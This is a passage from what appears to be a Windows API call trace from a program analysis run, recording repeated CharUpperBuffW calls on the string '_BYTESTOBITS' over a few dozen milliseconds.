lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.352] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.352] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.352] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.352] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.353] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.353] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.353] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.353] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.353] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.353] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.354] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.354] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.354] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.354] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.354] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.354] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.354] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.354] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.354] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.355] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.355] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.355] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.355] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.355] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.355] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.355] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.355] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.355] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.356] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.356] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.356] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.356] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.356] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.356] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.356] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.356] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.356] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.357] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.357] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.357] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.357] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.357] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.357] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.357] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.357] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.357] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.358] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.358] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.358] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.358] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.358] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.358] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.358] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.358] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.358] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.358] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.359] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.359] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.359] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.359] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.359] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.359] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.359] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.359] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.359] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.360] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.360] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.360] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.360] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.360] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.360] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.360] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.360] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.360] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.361] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.361] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.361] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.361] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.361] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.361] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.361] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.361] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.361] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.361] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.362] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.362] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.362] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.362] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.362] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.362] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.362] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.362] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.362] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.363] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.363] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.363] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.363] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.363] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.364] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.364] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.364] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.364] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.364] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.364] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.364] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.364] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.364] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.365] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.365] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.365] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.365] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.365] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.365] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.365] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.365] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.365] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.366] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.366] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.366] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.366] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.366] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.366] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.366] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.366] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.366] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.367] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.367] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.367] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.367] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.367] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.367] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.367] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.367] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.367] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.368] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.368] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.368] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.368] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.368] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.368] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.368] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.368] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.368] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.369] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.369] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.369] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.369] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.369] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.369] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.369] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.369] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.369] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.370] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.370] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.370] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.370] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.370] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.370] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.370] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.370] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.370] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.370] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.371] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.371] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.371] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.371] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.371] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.371] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.371] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.371] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.371] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.372] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.372] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.372] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.372] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.372] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.372] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.372] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.372] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.372] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.373] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.373] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.373] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.373] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.373] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.373] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.373] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.374] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.374] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.374] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.374] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.374] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.374] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.374] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.374] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.374] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.375] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.375] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.375] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.375] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.375] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.375] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.375] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.375] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.376] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.376] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.376] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.376] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.376] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.376] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.376] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.376] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.376] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.377] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.377] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.377] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.377] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.377] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.377] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.377] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.377] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.377] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.378] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.378] 